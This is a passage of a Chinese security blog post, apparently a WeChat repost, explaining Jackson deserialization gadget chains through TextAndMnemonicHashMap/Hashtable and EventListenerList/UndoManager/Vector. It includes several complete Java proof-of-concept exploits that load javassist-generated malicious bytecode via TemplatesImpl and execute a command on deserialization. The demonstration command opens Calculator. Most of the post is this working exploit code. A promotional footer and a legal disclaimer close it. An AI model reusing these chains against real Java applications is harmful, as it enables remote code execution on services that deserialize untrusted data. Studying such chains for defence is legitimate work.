        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        POJONode node = new POJONode(templates);

        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();
        constructor.setAccessible(true);
        Map text = (Map)constructor.newInstance();
        text.put(node,"1");

        HashMap hashMap1 = new HashMap();
        hashMap1.put(node,"1");

        Hashtable table = new Hashtable();
        table.put(hashMap1,"1");
        table.put(text,"1");

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

这里可以在TextAndMnemonicHashMap类的get()方法加一个断点:

调试原先的代码,发现在getKey()方法还是报异常错误,但是确实会调用到这里,并且看此时的key所代表的值:

就是正常的POJONode类,都是自己构造的,然后成功调用到了TextAndMnemonicHashMap类的get()方法:

从这个get()方法的逻辑,可以看出来是会先获取到对应key的value,只有这里的value为null,才能调用到toString()方法,也就是需要TextAndMnemonicHashMap类所对应的”HashMap”类的键值对的值为null,基于上面的情况,可以简单改一下代码:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        //也可以直接删去这个类
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        POJONode node = new POJONode(templates);

        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();
        constructor.setAccessible(true);
        Map text = (Map)constructor.newInstance();
        text.put(node,null);

        HashMap hashMap1 = new HashMap();
        hashMap1.put(node,null);

        Hashtable table = new Hashtable();
        table.put(hashMap1,"1");
        table.put(text,"1");

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

这样就可以稳定在序列化前按照预期成功调用一次调用链。值得注意的是,由于为了保证hash值相同,这里让hashMap1的value也改成了null,那么此时在AbstractMap类的equals()方法调用get()方法也有改变:

由于将value改成了null,所以这里value返回值也是null,进入了第一个if条件,还是调用到了一次get()方法,后面就都是预期的了。

那么反序列化如何绕过呢,前面给出的POC已经可以说明了,在Hashtable放入值时直接让hash值不同从而可以正常放入,后面再调用put()方法来进行一次更新值的操作,所以最后的POC如下:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        //也可以直接删去这个类
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        POJONode node = new POJONode(templates);

        Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor();
        constructor.setAccessible(true);
        Map text0 = (Map)constructor.newInstance();
        text0.put(node,"aa1");

        Map text1 = (Map)constructor.newInstance();
        text1.put(node,"aa2");

        Hashtable table = new Hashtable();
        table.put(text1,"1");
        table.put(text0,"1");

        text0.put(node,null);
        text1.put(node,null);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(table);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

经测试发现如果是想使用HashMap和TextAndMnemonicHashMapl作为Hashtable中的两个键,在Hashtable的反序列化时,先后顺序会发生改变,这个问题我在JD7u21原生链提过,这里不再多说,使用上面的代码就行了。

总结:

  • • 得抓一下重点呀,就那一个点,也是比较关键的一点,构造代码时没注意到。还是卡了一段时间。

EventListenerList

这个类位于javax.swing.event.EventListenerList,同样是可以调用任意类的getter方法,先来跟进这个类的readObject()方法:

然后跟进这里的add()方法:

当l不是t的类或接口的实例化时,这里就会进入抛出异常的操作,但是这里的抛出异常的操作是进行了一个字符串拼接的操作,所以只要控制得好l,那么久可以调用任意类的toString()方法。再回过去看参数传递的要求:

这里的forName()方法,正好是当时学反射时说明了的,虽然有几个参数传递,但是其实就是相当于调用的forName(),这里的cl就是一个类加载器,也就是可以获取到一个Class对象,然后看这里的l,可以知道是从数据读出并且有一个强制类型转换,也就是要求其为一个与EventListener有关联的对象。再看一下EventListenerList类的writeObject()方法:

大概就可以知道这里的序列化所需的变量了,并且可以和反序列化对应起来,有在反序列化利用的可能性。

那么在这里可以利用到的是javax.swing.undo.UndoManager类,它的接口UndoableEditListener是java.util.EventListener的子类,跟进这个类的toString()方法:

这里调用了父类的toString()方法,还调用了两个变量,但是这两个变量都定义为int类型:

int indexOfNextAdd;
int limit;

无法利用,继续跟进父类CompoundEdit的toString()方法:

看此时这两个变量的定义:

可以看到inProgress是布尔型,而edits在实例化时会赋值为一个Vector类实例,并且UndoManager类实例化时久可以保证这个父类也实例化,再看CompoundEdi类的toString()方法,同样是字符串拼接的操作,所以可以调用到Vector类的toString()方法:

再跟进父类AbstractCollection的toString()方法:

跟进这里的append()方法:

这里的value()方法可以调用到任意类的toString()方法:

个人觉得利用点是前面图中用框标出来的append方法,那么就可以尝试进行构造了,就简单说明几个点:

EventListenerList无构造方法,需要利用到Object[]类型的listenerList变量,反射修改即可,一定要看懂writeObject()的逻辑,这样才能构造出来。

另外的一个比较重要的点就是如下:

怎么控制这个e为任意类型。重点就在于这个iterator()方法,再回想一下整个过程,到这一步的toString()方法,已经是和Vector类相关了,也就是说这里的self为Vector类实例,并且简单构造代码调试也是如预期的,而在Vector类的iterator()方法,是返回的一个内部类Itr实例:

里面就定义了一些简单的next()函数用于迭代,在原先的toString()方法中,可以知道是,跟进next()函数最后返回的elementData:

其实就是返回存储在这个当中的值,所以我们肯定是要将node放进这个数组当中的。对于这个elementData数组,Vector类定义了很多方法来进行操作,如insertElementAt:

等。

所以这也是可以操作的,但是要怎么将这个设计好的Vector类插入进去呢?在原本的利用链中,是直接将Vector实例化的:

还是反射进行修改,具体看下面的POC即可:

package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.swing.undo.UndoManager;
import javax.swing.event.EventListenerList;
import java.lang.reflect.Field;
import java.util.Vector;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};
        //修改类方法
        CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        //也可以直接删去这个类
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);

        UndoManager undo = new UndoManager();
        Object[] x = new Object[]{String.class, undo};

        EventListenerList listenerList = new EventListenerList();
        setFieldValue(listenerList, "listenerList", x);

        Vector vector = (Vector) getFieldValue(undo, "edits");
        vector.add(node);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(listenerList);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Class clazz = obj.getClass();

        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);

                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}

就可以在反序列化时弹出计算机了。一个非常好的获取到父类的变量并进行修改或者设置值的代码设计,多学习。

——————

参考文章:

https://www.cnblogs.com/gaorenyusi/p/18411269

https://xz.aliyun.com/news/14924?time__1311=eqUxuDBD0AGQBD7qGNcjDA2A%2BAqY5mKfxx&u_atoken=634642368fa712ac87bbdc71d6c17d07&u_asig=0a472f9217430687398891321e0048

https://xz.aliyun.com/news/14169?u_atoken=cc132e497818eb0c240edb80bb120546&u_asig=0a472f9217430687458091642e0048

https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/

 

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

图片[1]-JavaSec | jackson反序列化通杀链-阻击者联盟

没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

 分享后扫码加我


回顾往期内容

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

记某地级市护网的攻防演练行动

手把手教你CNVD漏洞挖掘 + 资产收集

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力


© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容